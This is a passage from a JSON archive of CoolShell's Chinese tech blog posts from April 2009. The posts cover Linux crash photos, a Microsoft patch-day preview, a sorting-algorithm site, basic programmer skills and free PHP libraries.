\"availability\")](https://coolshell.cn/wp-content/uploads/2009/04/availability.jpg)\n\n\n**性能**\n\n\n[![performance](../wp-content/uploads/2009/04/performance.jpg \"performance\")](https://coolshell.cn/wp-content/uploads/2009/04/performance.jpg)\n\n\n \n\n\n**质量**\n\n\n[![quality](../wp-content/uploads/2009/04/quality.jpg \"quality\")](https://coolshell.cn/wp-content/uploads/2009/04/quality.jpg)\n\n\n \n\n\n**安全**\n\n\n[![security](../wp-content/uploads/2009/04/security.jpg \"security\")](https://coolshell.cn/wp-content/uploads/2009/04/security.jpg)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![编程语言汽车](../wp-content/uploads/2009/11/oscar-meyer-wienermobile-150x150.jpg)](https://coolshell.cn/articles/1839.html)[编程语言汽车](https://coolshell.cn/articles/1839.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/1532.html)[到处都是Unix的胎记](https://coolshell.cn/articles/1532.html)\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg](https://coolshell.cn/articles/2529.html)[StackOverflow的404错误页](https://coolshell.cn/articles/2529.html)\n* [![程序员眼中的编程语言](../wp-content/uploads/2009/12/language-fanboys-150x150.jpg)](https://coolshell.cn/articles/1992.html)[程序员眼中的编程语言](https://coolshell.cn/articles/1992.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\nThe post [2009年脚本语言排名](https://coolshell.cn/articles/325.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-1 Linux的“宕机”图片.md",
    "content": "---\nlayout: post\ntitle: Linux的“宕机”图片\ndate: 2009/4/1/ 6:0:39\nupdated: 2009/4/1/ 6:0:39\nstatus: publish\npublished: true\ntype: post\n---\n\n下面是几个Linux的“宕机”的图片，原文在：<http://www.miguelcarrasco.net/miguelcarrasco/2006/10/linux_crash_top.html>\n\n\n这里，我并不想以讹传讹，因为有一些并不是真正的Crash，可能只是重启，而另一些图片根本看不清楚是否是Linux，不过，如果不是在重启，的确不应该出现这些操作系统的信息。不算怎么样，我们就姑且相信这些图片都是Linux的不是吧。Linux也会Crash这点毋庸置疑，不过，在看到这些画面的同时，同样也能让人看到Linux的应用之广泛。\n\n\n下面这是一个运行着Linux的PC，看上去他死的很古怪，好像是中了病毒。\n\n\n [![linux_crash_1](../wp-content/uploads/2009/04/linux_crash_1.jpg \"linux_crash_1\")](https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_1.jpg)\n\n\n\n接下来的是一飞机上的Linux，我看当然可以在下面的图片中看到左上角那个很经典的小企鹅。这架飞机是空客330。\n\n\n[![linux_crash_2](../wp-content/uploads/2009/04/linux_crash_2.jpg \"linux_crash_2\")](https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_2.jpg)\n\n\n \n\n\n下面这个Crash的截屏可能并不是真正的Crash（似乎这个屏幕并没有完全死翘翘，只不过是收到了一个11的信号，然后整个Console就死掉了）\n\n\n[![linux_crash_3](../wp-content/uploads/2009/04/linux_crash_3.jpg \"linux_crash_3\")](https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_3.jpg)\n\n\n \n\n\n又是一个飞机上的linux 截屏，虽然用手机拍的照片很模糊，不过，我们还是能看到那只小企鹅。\n\n\n[![linux_crash_4](../wp-content/uploads/2009/04/linux_crash_4.jpg \"linux_crash_4\")](https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_4.jpg)\n\n\n[![linux_crash_63_2](../wp-content/uploads/2009/04/linux_crash_63_2.jpg \"linux_crash_63_2\")](https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_63_2.jpg)\n\n\n接下来的这个图片是火车和地铁上的显示屏，可能是linux的吧。是否Crash不确定，不过，的确没有正常工作。\n\n\n[![linux_crash_train_52_2](../wp-content/uploads/2009/04/linux_crash_train_52_2.jpg \"linux_crash_train_52_2\")](https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_train_52_2.jpg)\n\n\n下面是地铁上的播放显示器。（应该是播放广告和到站信息的显示屏）\n\n\n[![linux_crash_82_2](../wp-content/uploads/2009/04/linux_crash_82_2.jpg \"linux_crash_82_2\")](https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_82_2.jpg)\n\n\n下面是一个掌上游戏机，是否crash不可而知，不过的确不应该出现linux的启动信息。\n\n\n[![linux_bonus_22_2](../wp-content/uploads/2009/04/linux_bonus_22_2.jpg \"linux_bonus_22_2\")](https://coolshell.cn/wp-content/uploads/2009/04/linux_bonus_22_2.jpg)\n\n\n电话机，看似这个电话很强大，还有键盘。\n\n\n[![linux_crash_132_1](../wp-content/uploads/2009/04/linux_crash_132_1.jpg \"linux_crash_132_1\")](https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_132_1.jpg)\n\n\n下面这个是买炸薯条的快餐店，看了一下左右的，应该是报价的显示屏吧。\n\n\n[![linux_crash_102_2](../wp-content/uploads/2009/04/linux_crash_102_2.jpg \"linux_crash_102_2\")](https://coolshell.cn/wp-content/uploads/2009/04/linux_crash_102_2.jpg)\n\n\n文章：[来源](http://www.miguelcarrasco.net/miguelcarrasco/2006/10/linux_crash_top.html)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\n* [![记一次Kubernetes/Docker网络排障](../wp-content/uploads/2018/12/docker-networking-1-150x150.png)](https://coolshell.cn/articles/18654.html)[记一次Kubernetes/Docker网络排障](https://coolshell.cn/articles/18654.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![缓存更新的套路](../wp-content/uploads/2016/07/cache-150x150.png)](https://coolshell.cn/articles/17416.html)[缓存更新的套路](https://coolshell.cn/articles/17416.html)\nThe post [Linux的“宕机”图片](https://coolshell.cn/articles/313.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-10 1980年和2009年的1GB电脑内存的比较.md",
    "content": "---\nlayout: post\ntitle: 1980年和2009年的1GB电脑内存的比较\ndate: 2009/4/10/ 9:24:26\nupdated: 2009/4/10/ 9:24:26\nstatus: publish\npublished: true\ntype: post\n---\n\n从1980年到现在，我们的科技到底进步了多少：）\n\n\n下面这个图说明了1980年大机的1GB的内存和2009年的1GB的内存。\n\n\n[![1gb-computer-memory](../wp-content/uploads/2009/04/1gb-computer-memory.jpg \"1gb-computer-memory\")](https://coolshell.cn/?attachment_id=412)\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Javascript 装载和执行](../wp-content/uploads/2013/06/javascript-150x150.jpg)](https://coolshell.cn/articles/9749.html)[Javascript 装载和执行](https://coolshell.cn/articles/9749.html)\n* [![一次Ajax查错的经历](../wp-content/uploads/2012/08/ajax_error-150x150.jpg)](https://coolshell.cn/articles/8170.html)[一次Ajax查错的经历](https://coolshell.cn/articles/8170.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/3713.html)[你会问问题吗？](https://coolshell.cn/articles/3713.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg](https://coolshell.cn/articles/2135.html)[Martin Fowler 在 ThoughtWorks 内部关于版本控制工具的调查](https://coolshell.cn/articles/2135.html)\n* [![技术人员的发展之路](../wp-content/uploads/2016/12/people-150x150.jpg)](https://coolshell.cn/articles/17583.html)[技术人员的发展之路](https://coolshell.cn/articles/17583.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/2964.html)[25个jQuery的编程小抄](https://coolshell.cn/articles/2964.html)\nThe post [1980年和2009年的1GB电脑内存的比较](https://coolshell.cn/articles/410.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-10 4月14日，微软补丁日.md",
    "content": "---\nlayout: post\ntitle: 4月14日，微软补丁日\ndate: 2009/4/10/ 2:21:37\nupdated: 2009/4/10/ 2:21:37\nstatus: publish\npublished: true\ntype: post\n---\n\n下周二，微软准备release至少8个以上的安全补丁，如下表所示。目前没有太多的信息，不过，我们知道的是其中Excel的那个BUG早在2月份的时候就报告了，<http://www.microsoft.com/technet/security/advisory/968272.mspx>，可是这么长的时候后才有patch。哎。\n\n\n这次的BUG数之多，覆盖面之广（包括IE，Office，DirectX，Windows …），看来，下周二各个公司的IT部门又有得忙了。\n\n\n\n\n|  |  |  |  |  |\n| --- | --- | --- | --- | --- |\n| **编号** | **严重程度** | **攻击方式** | **重启** | **影响的软件\\*** |\n| Windows1 | 严重 | 远程代码运行 | 需要重启 | Microsoft Windows, Microsoft Office |\n| Windows2 | \n严重\n | \n远程代码运行\n | \n需要重启\n | Microsoft Windows |\n| Windows3 | \n严重\n | \n远程代码运行\n | \n可能需要重启\n | Microsoft Windows |\n| IE | \n严重\n | \n远程代码运行\n | \n需要重启\n | Microsoft Windows, Internet Explorer |\n| Excel | \n严重\n | \n远程代码运行\n | \n可能需要重启\n | Microsoft Office |\n| Windows4 | 重要 | 获取更高权限 | \n需要重启\n | Microsoft Windows |\n| ISA | 重要 | 拒绝式服务 | \n需要重启\n | Microsoft Forefront Edge Security |\n| Windows5 | 中级 | \n获取更高权限\n | \n需要重启\n | Microsoft Windows |\n\n\n相关信息可以参看这里：\n\n\n<http://www.microsoft.com/technet/security/bulletin/ms09-apr.mspx>\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![性能调优攻略](../wp-content/uploads/2012/06/f1-150x150.jpg)](https://coolshell.cn/articles/7490.html)[性能调优攻略](https://coolshell.cn/articles/7490.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/5107.html)[10大经典错误](https://coolshell.cn/articles/5107.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg](https://coolshell.cn/articles/4102.html)[如何学好C语言](https://coolshell.cn/articles/4102.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4077.html)[纯文本配置还是注册表](https://coolshell.cn/articles/4077.html)\n* [![两本电子书](../wp-content/uploads/2010/11/Learn-Python-The-Hard-Way-150x150.jpg)](https://coolshell.cn/articles/3270.html)[两本电子书](https://coolshell.cn/articles/3270.html)\n* [![Windows的达尔文进化图](../wp-content/uploads/2010/10/W_600-150x150.jpg)](https://coolshell.cn/articles/3097.html)[Windows的达尔文进化图](https://coolshell.cn/articles/3097.html)\nThe post [4月14日，微软补丁日](https://coolshell.cn/articles/404.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-10 PDF电子书搜索引擎.md",
    "content": "---\nlayout: post\ntitle: PDF电子书搜索引擎\ndate: 2009/4/10/ 10:9:24\nupdated: 2009/4/10/ 10:9:24\nstatus: publish\npublished: true\ntype: post\n---\n\n这是一个PDF电子书的搜索引擎，可以搜索到很多PDF的图书，包括中文的。\n\n\n#### [PDF Book Search\nhttp://search-pdf-books.com/](http://search-pdf-books.com/)\n\n\n简单的试了一下，的确很不错，推荐给大家。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/309.html)[十个最好的PDF生成库](https://coolshell.cn/articles/309.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/10337.html)[数据即代码：元驱动编程](https://coolshell.cn/articles/10337.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/3649.html)[TDD并不是看上去的那么美](https://coolshell.cn/articles/3649.html)\n* [![面试题：赛马问题](../wp-content/uploads/2009/07/Question-150x150.jpg)](https://coolshell.cn/articles/1202.html)[面试题：赛马问题](https://coolshell.cn/articles/1202.html)\n* [![你应该知道的20个Ajax技术(11-20)](../wp-content/uploads/2009/03/11-150x150.jpg)](https://coolshell.cn/articles/9.html)[你应该知道的20个Ajax技术(11-20)](https://coolshell.cn/articles/9.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg](https://coolshell.cn/articles/873.html)[谁说C语言很简单？](https://coolshell.cn/articles/873.html)\nThe post [PDF电子书搜索引擎](https://coolshell.cn/articles/424.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-10 一个排序算法比较的网站.md",
    "content": "---\nlayout: post\ntitle: 一个排序算法比较的网站\ndate: 2009/4/10/ 1:58:28\nupdated: 2009/4/10/ 1:58:28\nstatus: publish\npublished: true\ntype: post\n---\n\n下面这个网站是一个非常丰富的排序算法的网站。\n\n\n#### Sorting Algorithm Animations\n<http://www.sorting-algorithms.com/>\n\n\n这是一个非常不错的排序算法的网站，当你打开这个网站的时候，请不要因为看到很多个图片的大红叉而鄙视它。你先点击网页上方的Problem Size，选择一个尺寸，20，30，40还是50，都行，于是你就可以看到下面整个大表中有图片显示出来了。如下所示：\n\n\n[![sort](../wp-content/uploads/2009/04/sort-300x160.jpg \"sort\")](https://coolshell.cn/wp-content/uploads/2009/04/sort.jpg)\n\n\n\n其中，\n\n\n* **列。**是代表每一个排序算法，有“插入”“选择”“冒泡”“Shell”，“合并Merge”，“堆排序”，“快速排序”，“快速3排序”。单击每个一算法的链接，你可以看到这个算法的详细解释，其中包括，算法的伪代码，算法的复杂度，相关的讨论，重点，以及该算法的相关参考文档。\n* **行。**是不同的数据样本，第一个是“随机样本”，第二个是“几乎排好序的样本”，第三个是“最差的样本（反序）”，第四个是“有一些相同项的样本”。这些样本在不同的算法上都会有不同的表现。\n* **单元格**。每个单元格都是一个图片。简单的用鼠标单击一下每个图片，可以动画地演示算法整个过程。其中两个小红箭头表示了正在需要“交换顺序的数据”。\n\n\n这个网站，还是做得很8错的。希望大家喜欢。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg](https://coolshell.cn/articles/3933.html)[可视化的排序过程](https://coolshell.cn/articles/3933.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/2583.html)[一些重要的算法](https://coolshell.cn/articles/2583.html)\n* [![一个显示排序过程的Python脚本](../wp-content/uploads/2009/04/bubble-150x150.png)](https://coolshell.cn/articles/536.html)[一个显示排序过程的Python脚本](https://coolshell.cn/articles/536.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg](https://coolshell.cn/articles/6010.html)[一些有意思的算法代码](https://coolshell.cn/articles/6010.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg](https://coolshell.cn/articles/4671.html)[可视化的数据结构和算法](https://coolshell.cn/articles/4671.html)\nThe post [一个排序算法比较的网站](https://coolshell.cn/articles/399.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-11 程序员需要具备的基本技能.md",
    "content": "---\nlayout: post\ntitle: 程序员需要具备的基本技能\ndate: 2009/4/11/ 8:57:44\nupdated: 2009/4/11/ 8:57:44\nstatus: publish\npublished: true\ntype: post\n---\n\n软件开发是一个跨度很大的技术工作，在语言方面，有C，C++，Java，Ruby等等等等，在环境方面，又分嵌入式，桌面系统，企业级，WEB，基础系统，或是科学研究。但是，不管是什么的情况，总是有一些通用的基本职业技能。\n\n\n这些最基本的职业技能通常决定了一个程序员的级别，能否用好这些技能，直接关系到了程序员的职业生涯。很多程序新手也是因为缺少、达不到或是不熟悉在这些基本技能，所以，他们需要有老手带，需要努力补齐这些技能。而高级程序员应该非常熟悉这些基本技能，而且有能力胜任并带领其他经验不足的程序员。\n\n\n下面这些基本职业技术可以用来做为对一个程序员的评估，很明显，下面的这些技能都可以用来做面试。虽然，还有很多非技术的因素，但对于评估一个程序员的技术能力来说，其应该是足够的了。\n\n\n下面是程序员所应该具备的基本职业技能：\n\n\n\n\n\n| 基本技能 | 技能描述 |\n| --- | --- |\n| 阅读代码 | 这个技能需要程序员能够具备读懂已经存在的代码的能力，这样的能力可以让程序员分析程序的行为，了解程序，这样才能和开发团队一起工作，继承维护或是改进现有的程序。 |\n| 编写程序 | 编写程序并不包括程序设计。不要以为编程是一件很简单的事情，很多程序员都认为编程只需要懂得程序语言的语法，并把设计实现就可以了。但是这离编写程序还远远不够，使用什么样的编码风格成为编写程序员最需要具备的基本技能。能否使用非常良好的编程风格直接决写了程序员的级别。 |\n| 软件设计 | 这一能力直接决定了需要吏用什么样的代码技术达到怎么样的功能，而系统架构设计直接决定了软件的质量、性能和可维护性。并不是所有的程序在这一方面都非常优秀，但每个程序员都需要或多或少的明白和掌握这一基本技能。 |\n| 熟悉软件工程 | 每个程序员都应该明白软件工程是什么东西，都应该知道，需求分析，设计，编码，测试，Release和维护这几个阶段。当然，几乎所有的人都知道这些东西，但并不是每个人都很清楚这些东西。现在很多高级程序员都会混淆“需求规格说明书FS”和“概要设计HLD”。另外，程序员还需要知道一些软件开发的方法论，比如：敏捷开发或瀑布模型。 |\n| 使用程序库或框架 | 一个程序员需要学会使用已有的代码，无论是标论的程序库，或是第三方的，还是自己公司内部的，都需要学会做。比如：C++中，需要学会使用STL，MFC，ATL，BOOST，ACE，CPPUNIT等等。使用这些东西，可以让你的工作事半功倍。 |\n| 程序调试 | 程序调试是分析BUG和解决问题最直接的能力。没有人能够保证程序写出来不用调试就可以运行正常，也没有人可以保证程序永远不会出BUG。所以，熟练使用调试器是一个程序员需要具备的基本技能。 |\n| 使用IDE | 学会使用IDE工具也会让你的工作事半功倍。比如，VC++，Emacs，Eclipse等等，并要知道这些IDE的长处和短处。 |\n| 使用版本控制 | 一定要学会使用版本控制工具，什么叫mainline/trunk，什么叫tag，什么叫branch，怎么做patch，怎么merge代码，怎么reverse，怎么利用版本控制工具维护不同版本的软件。这是程序员需要明的的软件配置管理中最重要的一块。 |\n| 单元测试 | 单元测试是每个程序都需要做的。很多单元测试也是需要编码的。一定要学会在xUnit框架下进行单元测试。比如JUnit, NUnit, CppUnit等等。 |\n| 重构代码 | 每个程序员都需要有最基本的能力去重构目前已有的代码，使代码达到最优但却不能影响任何的已有的功能。有一本书叫《软件的重构》，每个程序员都应该读一下。 |\n| 自动化编译 | 程序员需要使用一个脚本，其能自动化编程所有的工程和代码，这样，整个开发团队可以不停地集成代码，自动化测试，自动化部署，以及使用一些工具进行静态代码分析或是自动化测试。 |\n\n\n当然，还有很多的基本技术也是非常重要的，比如，与人的沟通能力，语言的表达能力，写作能力，团队协作能力，适应变化的能力，时间管理能力，多任务处理能力，自我学习能力，故障处理能力，等等，等等，这里只是列举了和技术相关的能力，这些是程序最最最基本的能力，只要是程序员就必需要有的能力。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [程序员需要具备的基本技能](https://coolshell.cn/articles/428.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-12 9个强大免费的PHP库.md",
    "content": "---\nlayout: post\ntitle: 9个强大免费的PHP库\ndate: 2009/4/12/ 4:29:53\nupdated: 2009/4/12/ 4:29:53\nstatus: publish\npublished: true\ntype: post\n---\n\n\n### 1. ReCAPTCHA\n\n\n[reCAPTCHA](http://recaptcha.net/plugins/php/) 允许你的网站集成一个Advanced CAPTCHA 系统，这个系统可以帮助你阻止一些垃圾信息。可视化的CAPTCHA 同样也有一个有用的声音功能。另外，在reCAPTCHA 服务里，这个PHP库也包含了一个给 “Mailhide” 服务用的API，这个可以把你的邮件地址隐藏于一些抓邮件地址的程序。\n\n\n这个API是免费并且非常容易使用的，你需要做的就是申请一个API的KEY。\n\n\nhttp://nettuts.s3.amazonaws.com/267_libraries/libs/recaptcha.png\n[下载 ReCAPTCHA](http://code.google.com/p/recaptcha/downloads/list?q=label:phplib-Latest) | [获取一个API Key](http://recaptcha.net/api/getkey?app=php) | [相关文档](http://recaptcha.net/plugins/php/)\n\n\n\n### 2. Akismet\n\n\n[Akismet](http://akismet.com/) 是一个免费的服务项目，对于一些小型的网站它是完全免费的，对于一些大型的网址，他是部分免费的。这个库也是提供了处理一些和垃圾信息相关的功能。它主要通过比对自己数据库中已存在的被认定为垃圾的信息，而做出决定的。当然，数据库中的垃圾信息可能通过各个网站举报，大家供享的。这是一个每天都在更新，每天都在改进的库。许多许多的WordPress都装有这个库。\n\n\nhttp://nettuts.s3.amazonaws.com/267_libraries/libs/akismet.jpg\n[实施Akismet](http://net.tutsplus.com/tutorials/tools-and-tips/the-best-ways-to-fight-spam/)\n\n\n### 3. Services\\_JSON\n\n\nJSON 是一个非常小巧敏捷的PHP库，它主要用于把一些数据格式转成易于人们阅读的格式。并不是所有的人都会喜欢PHP5 （因为自PHP5.20后其中已经集成了JSON），所以，这个小PHP库可以在低版本的PHP中让你得到 JSON 的功能。\n\n\nhttp://nettuts.s3.amazonaws.com/267_libraries/libs/json.png\n[查看 Services\\_JSON](http://pear.php.net/package/Services_JSON)\n\n\n### 4. Smarty\n\n\n[Smarty](http://smarty.net/) 是一个网面模板引擎，它主要是把程序和界面分开。Smarty 提供了许多强大的功能，比如循环，变量，以及一个强大的缓存系统。这个库不是一个新库了，其已经发展了很多年了，虽然只有3个release版，但应该是比较成熟了。\n\n\nhttp://nettuts.s3.amazonaws.com/267_libraries/libs/smarty.png\n[下载 Smarty](http://smarty.net/download.php) | [查看文档](http://smarty.net/docs.php)\n\n\n### 5. pChart\n\n\n这是一个强大的画统计图的PHP库，像一些饼图或是柱状图，[pChart](http://pchart.sourceforge.net/index.php) 还允许你通过SQL查询语句或是手动的输入数据来创建一个统计图。当然它需要GD库的支持以便创建图片。这个库一看就是有很多非常专业的美工设计过，因为它可以让你的统计图显示的相当漂亮。\n\n\nhttp://nettuts.s3.amazonaws.com/267_libraries/libs/pchart.png\n[下载 pChart](http://pchart.sourceforge.net/download.php) | [相关文档](http://pchart.sourceforge.net/documentation.php) | [查看演示](http://pchart.sourceforge.net/demo.php)\n\n\n### 6. SimplePie\n\n\n[SimplePie](http://simplepie.org/)  允许你可以容易地 pull 一些信息，比如RSS feeds。它同样可以被集成于不同的平台和语言。并且可以通过很多不同的方法来处理远端的feed。\n\n\nhttp://nettuts.s3.amazonaws.com/267_libraries/libs/simplepie.png\n\n\n[下载 SimplePie](http://simplepie.org/downloads/) | [相关文档](http://simplepie.org/wiki/) | [Extending SimplePie to Parse Unique RSS Feeds](http://net.tutsplus.com/videos/screencasts/extending-simplepie-to-parse-unique-rss-feeds/)\n\n\n### 7. XML-RPC PHP\n\n\n我们的应用程序有时需要一些类似于 “ping” 的功能去探测一下其它站点，如BLOG的 trackbacks。一般来说，这都是通过一个叫做XML-RPC的协议来完成的。[XML-RPC PHP](http://phpxmlrpc.sourceforge.net/) 库可以让你的站点集成这些功能。\n\n\nhttp://nettuts.s3.amazonaws.com/267_libraries/libs/xmlrpc.png\n\n\n[下载 XML-RPC PHP](http://phpxmlrpc.sourceforge.net/#download) | [相关文档](http://phpxmlrpc.sourceforge.net/#interest)\n\n\n### 8. Amazon S3\n\n\nAmazon 提供了一个“云服务”叫”S3″. 这个PHP库可以让你不需要第三方的插件就可以上传大的文件。\n\n\nhttp://nettuts.s3.amazonaws.com/267_libraries/libs/s3.png\n[下载 Amazon S3 PHP 类](http://amazon-s3-php-class.googlecode.com/files/s3-php5-curl_0.3.9.tar.gz)\n\n\n### 9. PHPMailer\n\n\n很多应用都需要对外发送邮件，但是PHP的mail() 函数并不是特别好用。于是 PHPMailer 应运而生，这是一个功能强大的类，其允许你发送不同格式的邮件，并支持附件和自定义邮件头。\n\n\nhttp://nettuts.s3.amazonaws.com/267_libraries/libs/mail.png\n[下载 PHPMailer](http://phpmailer.codeworxtech.com/index.php?pg=sf&p=dl) | [相关文档](http://phpmailer.codeworxtech.com/index.php?pg=tutorial)\n\n\n文章：[来源](http://net.tutsplus.com/articles/web-roundups/9-extremely-useful-and-free-php-libraries/)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg](https://coolshell.cn/articles/559.html)[菜鸟学PHP之Smarty入门](https://coolshell.cn/articles/559.html)\n* [![AWS 的 S3 故障回顾和思考](../wp-content/uploads/2017/03/Amazon-Web-Services-Down-150x150.png)](https://coolshell.cn/articles/17737.html)[AWS 的 S3 故障回顾和思考](https://coolshell.cn/articles/17737.html)\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\n* [![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\n* [![PHP分页技术的代码和示例](../wp-content/uploads/2011/08/Pagination-e1312791884744-150x150.jpg)](https://coolshell.cn/articles/5160.html)[PHP分页技术的代码和示例](https://coolshell.cn/articles/5160.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg](https://coolshell.cn/articles/4905.html)[语言的数据亲和力](https://coolshell.cn/articles/4905.html)\nThe post [9个强大免费的PHP库](https://coolshell.cn/articles/455.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-4-12 Python中实现多属性排序.md",
